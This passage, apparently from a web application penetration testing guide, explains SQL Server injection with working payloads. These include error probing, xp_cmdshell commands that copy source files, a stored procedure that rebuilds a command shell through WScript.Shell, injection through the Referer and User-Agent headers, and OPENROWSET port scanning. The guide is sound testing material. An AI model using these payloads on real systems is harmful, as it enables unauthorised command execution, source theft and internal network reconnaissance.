4.0

123
Web Application Penetration Testing
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http:/vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
The error message obtained when a ‘ (single quote) character is
entered at the email field is:
PMicrosoft OLE DB Provider for SQL Server error ‘80040e14’
Unclosed quotation mark before the character string ‘.
/forgotpass.asp, line 15
Example 4: Yet another (useful) GET example
Obtaining the application’s source code
a’ ; master.dbo.xp_cmdshell ‘ copy c:\inetpub\wwwroot\
login.aspx c:\inetpub\wwwroot\login.txt’;--
Example 5: custom xp_cmdshell
All books and papers describing the security best practices for SQL
Server recommend disabling xp_cmdshell in SQL Server 2000 (in
SQL Server 2005 it is disabled by default). However, if we have
sysadmin rights (natively or by bruteforcing the sysadmin password,
see below), we can often bypass this limitation.
On SQL Server 2000:
• If xp_cmdshell has been disabled with sp_dropextendedproc,
we can simply inject the following code:
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’
• If the previous code does not work, it means that the xp_log70.
dll has been moved or deleted. In this case we need to inject the
following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait
int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate ‘WScript.Shell’, @ShellID
OUT
IF @OLEResult 0 SELECT @result = @OLEResult
IF @OLEResult 0 RAISERROR (‘CreateObject %0X’, 14, 1, @
OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, ‘Run’, Null,
@cmd, 0, @Wait
IF @OLEResult 0 SELECT @result = @OLEResult
IF @OLEResult 0 RAISERROR (‘Run %0X’, 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
This code, written by Antonin Foller (see links at the bottom of
the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod
and sp_oadestroy (as long as they haven’t been disabled
too, of course). Before using it, we need to delete the first xp_
cmdshell we created (even if it was not working), otherwise the
two declarations will collide.
On SQL Server 2005, xp_cmdshell can be enabled by injecting the
following code instead:
master..sp_configure ‘show advanced options’,1
reconfigure
master..sp_configure ‘xp_cmdshell’,1
reconfigure
Example 6: Referer / User-Agent
The REFERER header set to:
Referer: https: /vulnerable.web.app/login.aspx’, ‘user_agent’,
‘some_ip’); [SQL CODE]--
Allows the execution of arbitrary SQL Code. The same happens
with the User-Agent header set to:
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’
Example 7: SQL Server as a port scanner
In SQL Server, one of the most useful (at least for the penetration
tester) commands is OPENROWSET, which is used to run a query
on another DB Server and retrieve the results. The penetration
tester can use this command to scan ports of other machines in
the target network, injecting the following query:
select * from OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5’,’select
1’)--
This query will attempt a connection to the address x.y.w.z on port
p. If the port is closed, the following message will be returned:
General network error. Check your network documentation
OLE DB provider ‘sqloledb’ reported an error. The provider
did not give any information about the error.
On the other hand, if the port is open, one of the following errors
will be returned:
Of course, the error message is not always available. If that is the
case, we can use the response time to understand what is going
on: with a closed port, the timeout (5 seconds in this example) will
be consumed, whereas an open port will return the result right
away.
Keep in mind that OPENROWSET is enabled by default in SQL
Server 2000 but disabled in SQL Server 2005.